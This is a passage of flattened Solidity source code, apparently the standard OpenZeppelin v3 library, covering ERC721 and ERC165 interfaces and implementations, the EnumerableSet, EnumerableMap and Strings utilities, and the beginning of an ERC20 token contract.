no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC721.sol"; import "./IERC721Metadata.sol"; import "./IERC721Enumerable.sol"; import "./IERC721Receiver.sol"; import "../../introspection/ERC165.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; import "../../utils/EnumerableSet.sol"; import "../../utils/EnumerableMap.sol"; import "../../utils/Strings.sol"; /** * @title ERC721 Non-Fungible Token Standard basic implementation * @dev see https://eips.ethereum.org/EIPS/eip-721 */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; // Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` // which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; // Mapping from holder address to their (enumerable) set of owned tokens mapping (address => EnumerableSet.UintSet) private _holderTokens; // Enumerable mapping from token ids to their owners EnumerableMap.UintToAddressMap private _tokenOwners; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; // Token name string private _name; // Token symbol string private _symbol; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; // Base URI string private _baseURI; /* * bytes4(keccak256('balanceOf(address)')) == 0x70a08231 * bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e * bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3 * bytes4(keccak256('getApproved(uint256)')) == 0x081812fc * bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465 * bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5 * bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd * bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e * bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde * * => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^ * 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd */ bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; /* * bytes4(keccak256('name()')) == 0x06fdde03 * bytes4(keccak256('symbol()')) == 0x95d89b41 * bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd * * => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f */ bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f; /* * bytes4(keccak256('totalSupply()')) == 0x18160ddd * bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59 * bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7 * * => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63 */ bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; // register the supported interfaces to conform to ERC721 via ERC165 _registerInterface(_INTERFACE_ID_ERC721); _registerInterface(_INTERFACE_ID_ERC721_METADATA); _registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _holderTokens[owner].length(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token"); } /** * @dev See {IERC721Metadata-name}. */ function name() public view override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; // If there is no base URI, return the token URI. if (bytes(_baseURI).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(_baseURI, _tokenURI)); } // If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI. return string(abi.encodePacked(_baseURI, tokenId.toString())); } /** * @dev Returns the base URI set via {_setBaseURI}. This will be * automatically added as a prefix in {tokenURI} to each token's URI, or * to the token ID if no specific URI is set for that token ID. */ function baseURI() public view returns (string memory) { return _baseURI; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { return _holderTokens[owner].at(index); } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { // _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds return _tokenOwners.length(); } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { (uint256 tokenId, ) = _tokenOwners.at(index); return tokenId; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mecanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721Receiver(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ownerOf(tokenId), to, tokenId); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { return _get(map, key, "EnumerableMap: nonexistent key"); } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint256(value))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key)))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint256(_get(map._inner, bytes32(key), errorMessage))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = byte(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../../GSN/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to 